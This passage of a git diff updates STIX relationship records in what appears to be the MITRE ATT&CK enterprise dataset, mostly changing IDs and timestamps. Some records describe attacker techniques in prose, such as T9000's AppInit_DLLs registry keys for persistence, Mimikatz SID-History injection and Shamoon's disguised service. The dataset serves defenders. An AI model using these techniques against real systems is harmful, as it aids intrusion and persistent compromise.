     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3c3f26b3-d676-4e17-adca-2a8ea4643148",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.025Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--d45f03a8-790a-4f90-b956-cd7e5b8886bf",
             "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
diff --git a/enterprise-attack/relationship/relationship--3c630128-27ba-4c71-b09a-c9ac39e7acac.json b/enterprise-attack/relationship/relationship--3c630128-27ba-4c71-b09a-c9ac39e7acac.json
index 77236ee7e1..ec54254ae6 100644
--- a/enterprise-attack/relationship/relationship--3c630128-27ba-4c71-b09a-c9ac39e7acac.json
+++ b/enterprise-attack/relationship/relationship--3c630128-27ba-4c71-b09a-c9ac39e7acac.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fcc50c43-6eb4-4763-b3d6-2c196cd2eebd",
+    "id": "bundle--59d62cfb-f80a-43c4-a45c-575a1221ebd4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3c630128-27ba-4c71-b09a-c9ac39e7acac",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon creates a new service named \u201cntssrv\u201d that attempts to appear legitimate; the service's display name is \u201cMicrosoft Network Realtime Inspection Service\u201d and its description is \u201cHelps guard against time change attempts targeting known and newly discovered vulnerabilities in network time protocols.\u201d",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
diff --git a/enterprise-attack/relationship/relationship--3caec960-fa9c-4b2f-80e4-6dd4471e26ba.json b/enterprise-attack/relationship/relationship--3caec960-fa9c-4b2f-80e4-6dd4471e26ba.json
index 2a7ea4e323..a0a67c17f5 100644
--- a/enterprise-attack/relationship/relationship--3caec960-fa9c-4b2f-80e4-6dd4471e26ba.json
+++ b/enterprise-attack/relationship/relationship--3caec960-fa9c-4b2f-80e4-6dd4471e26ba.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--98749a6f-b861-469f-a36e-4ca5c7928f74",
+    "id": "bundle--da144a8a-7e0e-451d-8525-a556be370f2a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3caec960-fa9c-4b2f-80e4-6dd4471e26ba",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A module in Prikormka collects information from the victim about its IP addresses and MAC addresses.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
diff --git a/enterprise-attack/relationship/relationship--3cb99d8e-8a3d-47ed-b4b7-e217cea48013.json b/enterprise-attack/relationship/relationship--3cb99d8e-8a3d-47ed-b4b7-e217cea48013.json
index 0899fb0c3f..20c674cb5c 100644
--- a/enterprise-attack/relationship/relationship--3cb99d8e-8a3d-47ed-b4b7-e217cea48013.json
+++ b/enterprise-attack/relationship/relationship--3cb99d8e-8a3d-47ed-b4b7-e217cea48013.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f6f40c2a-ad30-4455-a912-44ed5c498601",
+    "id": "bundle--49586cb8-e86b-466f-8ad8-3de870799ae1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3cb99d8e-8a3d-47ed-b4b7-e217cea48013",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike can start a VNC-based remote desktop server and tunnel the connection through the already established C2 channel.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
diff --git a/enterprise-attack/relationship/relationship--3cd8ef78-9d92-4e28-97ae-5bd6c698bfec.json b/enterprise-attack/relationship/relationship--3cd8ef78-9d92-4e28-97ae-5bd6c698bfec.json
index 585b130a5c..d1483cf1e3 100644
--- a/enterprise-attack/relationship/relationship--3cd8ef78-9d92-4e28-97ae-5bd6c698bfec.json
+++ b/enterprise-attack/relationship/relationship--3cd8ef78-9d92-4e28-97ae-5bd6c698bfec.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--673b7698-281d-4c2b-b56e-0b56bcbac198",
+    "id": "bundle--a121c2a5-a23b-4630-948b-8685fc7d5215",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3cd8ef78-9d92-4e28-97ae-5bd6c698bfec",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.032Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
             "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
diff --git a/enterprise-attack/relationship/relationship--3cdc74fc-a291-4253-98b4-ca33e021914a.json b/enterprise-attack/relationship/relationship--3cdc74fc-a291-4253-98b4-ca33e021914a.json
index c1a82bb92b..69b2b77bcf 100644
--- a/enterprise-attack/relationship/relationship--3cdc74fc-a291-4253-98b4-ca33e021914a.json
+++ b/enterprise-attack/relationship/relationship--3cdc74fc-a291-4253-98b4-ca33e021914a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a79dbc72-1f92-43c7-9fa0-e1971ff4ab0d",
+    "id": "bundle--b79d4947-535a-4671-90d8-dc540fb1aa38",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3cdc74fc-a291-4253-98b4-ca33e021914a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.055Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411",
             "target_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
diff --git a/enterprise-attack/relationship/relationship--3d16b34f-f58b-4469-a0ef-7585f88d6001.json b/enterprise-attack/relationship/relationship--3d16b34f-f58b-4469-a0ef-7585f88d6001.json
index 5ba7428f99..106dde2549 100644
--- a/enterprise-attack/relationship/relationship--3d16b34f-f58b-4469-a0ef-7585f88d6001.json
+++ b/enterprise-attack/relationship/relationship--3d16b34f-f58b-4469-a0ef-7585f88d6001.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ad1a705c-59d5-4733-9b28-54a7f4db8bea",
+    "id": "bundle--f29de127-d4f5-4877-bbaf-15efb08c6d33",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3d16b34f-f58b-4469-a0ef-7585f88d6001",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "If a victim meets certain criteria, T9000 uses the AppInit_DLL functionality to achieve persistence by ensuring that every user mode process that is spawned will load its malicious DLL, ResN32.dll. It does this by creating the following Registry keys: <code>HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs \u2013 %APPDATA%\\Intel\\ResN32.dll</code> and <code>HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\LoadAppInit_DLLs \u2013 0x1</code>.",
             "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
diff --git a/enterprise-attack/relationship/relationship--3d4dabc2-3bee-409a-a05d-e107677cfdc7.json b/enterprise-attack/relationship/relationship--3d4dabc2-3bee-409a-a05d-e107677cfdc7.json
index f633520f95..28e16bd57f 100644
--- a/enterprise-attack/relationship/relationship--3d4dabc2-3bee-409a-a05d-e107677cfdc7.json
+++ b/enterprise-attack/relationship/relationship--3d4dabc2-3bee-409a-a05d-e107677cfdc7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--64d1d2e8-381c-44e9-a950-0995e2517464",
+    "id": "bundle--52eca910-bc3e-4dde-aa48-a0480540fe5c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3d4dabc2-3bee-409a-a05d-e107677cfdc7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke exfiltrates collected files over FTP or WebDAV. Exfiltration servers can be separately configured from C2 servers.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
diff --git a/enterprise-attack/relationship/relationship--3d602fec-cf94-4aa4-a4d9-cad286e6881f.json b/enterprise-attack/relationship/relationship--3d602fec-cf94-4aa4-a4d9-cad286e6881f.json
index bdac31df68..d1d183a4c7 100644
--- a/enterprise-attack/relationship/relationship--3d602fec-cf94-4aa4-a4d9-cad286e6881f.json
+++ b/enterprise-attack/relationship/relationship--3d602fec-cf94-4aa4-a4d9-cad286e6881f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--308014f0-1d25-4111-81ca-327ea8c22186",
+    "id": "bundle--5ee44972-a0b2-4b54-9430-9a23e306b4eb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3d602fec-cf94-4aa4-a4d9-cad286e6881f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN10 has used Meterpreter to enumerate users on remote systems.",
             "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
diff --git a/enterprise-attack/relationship/relationship--3d635b23-78b7-4de4-9417-8077787c7c0b.json b/enterprise-attack/relationship/relationship--3d635b23-78b7-4de4-9417-8077787c7c0b.json
index 652580f8b1..f0a8722edf 100644
--- a/enterprise-attack/relationship/relationship--3d635b23-78b7-4de4-9417-8077787c7c0b.json
+++ b/enterprise-attack/relationship/relationship--3d635b23-78b7-4de4-9417-8077787c7c0b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a67d7ba6-60b8-41d2-96d4-001f08099c87",
+    "id": "bundle--9e434b07-cb7c-4dbf-a149-3eae93ee026b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3d635b23-78b7-4de4-9417-8077787c7c0b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.026Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--5c49bc54-9929-48ca-b581-7018219b5a97",
             "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08",
diff --git a/enterprise-attack/relationship/relationship--3d97f57c-2a7c-4626-8b05-9d345047d3ad.json b/enterprise-attack/relationship/relationship--3d97f57c-2a7c-4626-8b05-9d345047d3ad.json
index 9d73000f2a..048da15447 100644
--- a/enterprise-attack/relationship/relationship--3d97f57c-2a7c-4626-8b05-9d345047d3ad.json
+++ b/enterprise-attack/relationship/relationship--3d97f57c-2a7c-4626-8b05-9d345047d3ad.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--682345f3-06b6-44b7-bbf9-23b0ad7860fd",
+    "id": "bundle--20d1a71c-69a0-46a1-aab4-44bd673eec89",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3d97f57c-2a7c-4626-8b05-9d345047d3ad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PlugX uses Pastebin to store its real C2 addresses.",
             "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
diff --git a/enterprise-attack/relationship/relationship--3dcf441c-b987-4c6a-93e7-e24ae1e16475.json b/enterprise-attack/relationship/relationship--3dcf441c-b987-4c6a-93e7-e24ae1e16475.json
new file mode 100644
index 0000000000..933c983b2f
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--3dcf441c-b987-4c6a-93e7-e24ae1e16475.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--f2fb7125-d273-4747-8adf-bacec3008bc8",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--3dcf441c-b987-4c6a-93e7-e24ae1e16475",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "creates a shortcut file and saves it in a Startup folder to establish persistence.",
+            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
+            "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto Reaver Nov 2017",
+                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--3dd745f5-1c0c-4376-8850-89679fcd4e31.json b/enterprise-attack/relationship/relationship--3dd745f5-1c0c-4376-8850-89679fcd4e31.json
index 179436cb72..a204614795 100644
--- a/enterprise-attack/relationship/relationship--3dd745f5-1c0c-4376-8850-89679fcd4e31.json
+++ b/enterprise-attack/relationship/relationship--3dd745f5-1c0c-4376-8850-89679fcd4e31.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--738febbf-2432-4f02-b9a0-c3287e731cb6",
+    "id": "bundle--dd67a1e2-c116-415c-ba8a-66f251a98f3a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3dd745f5-1c0c-4376-8850-89679fcd4e31",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
             "target_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
diff --git a/enterprise-attack/relationship/relationship--3de749e5-353a-4bdc-8951-9e0fa387bc70.json b/enterprise-attack/relationship/relationship--3de749e5-353a-4bdc-8951-9e0fa387bc70.json
index 07dc113ee1..235294d95e 100644
--- a/enterprise-attack/relationship/relationship--3de749e5-353a-4bdc-8951-9e0fa387bc70.json
+++ b/enterprise-attack/relationship/relationship--3de749e5-353a-4bdc-8951-9e0fa387bc70.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a4b7ef31-a9ef-4ef2-838a-5625c34dbc81",
+    "id": "bundle--8c6ece8d-0d19-497f-82d9-1e239c86b02f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "relationship--3de749e5-353a-4bdc-8951-9e0fa387bc70",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "AutoIt is capable of identifying documents on the victim with the following extensions: .doc; .pdf, .csv, .ppt, .docx, .pst, .xls, .xlsx, .pptx, and .jpeg.",
+            "description": "AutoIt backdoor is capable of identifying documents on the victim with the following extensions: .doc; .pdf, .csv, .ppt, .docx, .pst, .xls, .xlsx, .pptx, and .jpeg.",
             "source_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300",
             "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
             "external_references": [
diff --git a/enterprise-attack/relationship/relationship--3ded5760-4f2e-41f5-a2c5-f2b39eaf5733.json b/enterprise-attack/relationship/relationship--3ded5760-4f2e-41f5-a2c5-f2b39eaf5733.json
index 3b3cc4e243..cb72ed807e 100644
--- a/enterprise-attack/relationship/relationship--3ded5760-4f2e-41f5-a2c5-f2b39eaf5733.json
+++ b/enterprise-attack/relationship/relationship--3ded5760-4f2e-41f5-a2c5-f2b39eaf5733.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1f183c7f-3091-44c6-94d9-b1f0f6c12827",
+    "id": "bundle--53ae8809-8f41-4226-a29b-236c0c073dbb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3ded5760-4f2e-41f5-a2c5-f2b39eaf5733",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon can download an executable to run on the victim.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
diff --git a/enterprise-attack/relationship/relationship--3e09a5ce-a6a0-4f03-8c23-a7ebb4dfd74c.json b/enterprise-attack/relationship/relationship--3e09a5ce-a6a0-4f03-8c23-a7ebb4dfd74c.json
index 0a160e8992..2db056b510 100644
--- a/enterprise-attack/relationship/relationship--3e09a5ce-a6a0-4f03-8c23-a7ebb4dfd74c.json
+++ b/enterprise-attack/relationship/relationship--3e09a5ce-a6a0-4f03-8c23-a7ebb4dfd74c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c3e21ee4-ebcb-4997-8998-0da91f63db2c",
+    "id": "bundle--e3245766-f563-43fc-ab6c-7393a8f4b867",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3e09a5ce-a6a0-4f03-8c23-a7ebb4dfd74c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "When it first starts, BADNEWS spawns a new thread to log keystrokes.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
diff --git a/enterprise-attack/relationship/relationship--3e497bf1-4fdc-40a2-b8a2-3492c1d605e5.json b/enterprise-attack/relationship/relationship--3e497bf1-4fdc-40a2-b8a2-3492c1d605e5.json
index d99ddb760d..00e64e17e8 100644
--- a/enterprise-attack/relationship/relationship--3e497bf1-4fdc-40a2-b8a2-3492c1d605e5.json
+++ b/enterprise-attack/relationship/relationship--3e497bf1-4fdc-40a2-b8a2-3492c1d605e5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--93bef0a3-a955-4505-8089-ca41286bc9a6",
+    "id": "bundle--123439be-03e1-4d47-85b9-04105b44ed97",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3e497bf1-4fdc-40a2-b8a2-3492c1d605e5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "POSHSPY uploads data in 2048-byte chunks.",
             "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
diff --git a/enterprise-attack/relationship/relationship--3e5cf341-4707-4de3-bb06-43530ee3e90f.json b/enterprise-attack/relationship/relationship--3e5cf341-4707-4de3-bb06-43530ee3e90f.json
new file mode 100644
index 0000000000..4fb4808bb1
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--3e5cf341-4707-4de3-bb06-43530ee3e90f.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--a8d91acc-b5e6-4849-8f1c-f4ab80860a43",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--3e5cf341-4707-4de3-bb06-43530ee3e90f",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Mimikatz's <code>MISC::AddSid</code> module can appended any SID or user/group account to a user's SID-History.Mimikatz also utilizes SID-History Injection to expand the scope of other components such as generated Kerberos Golden Tickets and DCSync beyond a single domain.",
+            "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
+            "target_ref": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d",
+            "external_references": [
+                {
+                    "source_name": "Adsecurity Mimikatz Guide",
+                    "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
+                    "url": "https://adsecurity.org/?page%20id=1821"
+                },
+                {
+                    "source_name": "AdSecurity Kerberos GT Aug 2015",
+                    "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.",
+                    "url": "https://adsecurity.org/?p=1640"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--3e7c9978-4db1-4ee1-ae27-640acee5a543.json b/enterprise-attack/relationship/relationship--3e7c9978-4db1-4ee1-ae27-640acee5a543.json
index 0b0a5d3c85..e6df5e3401 100644
--- a/enterprise-attack/relationship/relationship--3e7c9978-4db1-4ee1-ae27-640acee5a543.json
+++ b/enterprise-attack/relationship/relationship--3e7c9978-4db1-4ee1-ae27-640acee5a543.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--006e37e3-c31d-4183-a3b6-823b4dbbbec3",
+    "id": "bundle--912241ae-a99e-4cab-ab9c-7b16933f8c78",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3e7c9978-4db1-4ee1-ae27-640acee5a543",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke steals user files from network shared drives with file extensions and keywords that match a predefined list.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
diff --git a/enterprise-attack/relationship/relationship--3e89d94b-5e6f-48b3-ba80-d366940fa968.json b/enterprise-attack/relationship/relationship--3e89d94b-5e6f-48b3-ba80-d366940fa968.json
index 92b2c886da..466b4a50fc 100644
--- a/enterprise-attack/relationship/relationship--3e89d94b-5e6f-48b3-ba80-d366940fa968.json
+++ b/enterprise-attack/relationship/relationship--3e89d94b-5e6f-48b3-ba80-d366940fa968.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a8b405b5-a49c-44b1-987b-0e4d4ac48f6b",
+    "id": "bundle--081bae30-fa0e-4d62-953a-a9e0384475f7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3e89d94b-5e6f-48b3-ba80-d366940fa968",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.018Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--25d5e1d8-c6fb-4735-bc57-115a21222f4b",
             "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830",
diff --git a/enterprise-attack/relationship/relationship--3e9d8f68-a9c6-4be7-9639-56b64d4f600a.json b/enterprise-attack/relationship/relationship--3e9d8f68-a9c6-4be7-9639-56b64d4f600a.json
new file mode 100644
index 0000000000..738ec17181
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--3e9d8f68-a9c6-4be7-9639-56b64d4f600a.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--a0a560a7-e7d7-4263-826c-5af13fce18f3",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--3e9d8f68-a9c6-4be7-9639-56b64d4f600a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "mitigates",
+            "source_ref": "course-of-action--33f76731-b840-446f-bee0-53687dad24d9",
+            "target_ref": "attack-pattern--62166220-e498-410f-a90a-19d4339d4e99",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--3eb29574-145d-4d4a-b4c6-e94b8a79781e.json b/enterprise-attack/relationship/relationship--3eb29574-145d-4d4a-b4c6-e94b8a79781e.json
index 00f5bc286c..c42ada0c5f 100644
--- a/enterprise-attack/relationship/relationship--3eb29574-145d-4d4a-b4c6-e94b8a79781e.json
+++ b/enterprise-attack/relationship/relationship--3eb29574-145d-4d4a-b4c6-e94b8a79781e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dba1ad43-87f5-4b4e-ae94-cb4490306460",
+    "id": "bundle--f4b07294-fe71-415e-9350-7ea4b166034e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3eb29574-145d-4d4a-b4c6-e94b8a79781e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DustySky searches for removable media and duplicates itself onto it.",
             "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
diff --git a/enterprise-attack/relationship/relationship--3ebad12d-fd33-4289-93dc-1f5af5e90b66.json b/enterprise-attack/relationship/relationship--3ebad12d-fd33-4289-93dc-1f5af5e90b66.json
index e7ad629172..a92cd5fa8d 100644
--- a/enterprise-attack/relationship/relationship--3ebad12d-fd33-4289-93dc-1f5af5e90b66.json
+++ b/enterprise-attack/relationship/relationship--3ebad12d-fd33-4289-93dc-1f5af5e90b66.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2ee00dd0-2db3-4d1f-b8d7-44b6e7fa49f1",
+    "id": "bundle--33f53109-488a-4083-b840-7d75c9cfd6f0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3ebad12d-fd33-4289-93dc-1f5af5e90b66",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FLASHFLOOD achieves persistence by making an entry in the Registry's Run key.",
             "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a",
diff --git a/enterprise-attack/relationship/relationship--3ebc8829-f260-4d75-817a-cd23a4ebb194.json b/enterprise-attack/relationship/relationship--3ebc8829-f260-4d75-817a-cd23a4ebb194.json
index e54b6e6b9e..462969c880 100644
--- a/enterprise-attack/relationship/relationship--3ebc8829-f260-4d75-817a-cd23a4ebb194.json
+++ b/enterprise-attack/relationship/relationship--3ebc8829-f260-4d75-817a-cd23a4ebb194.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
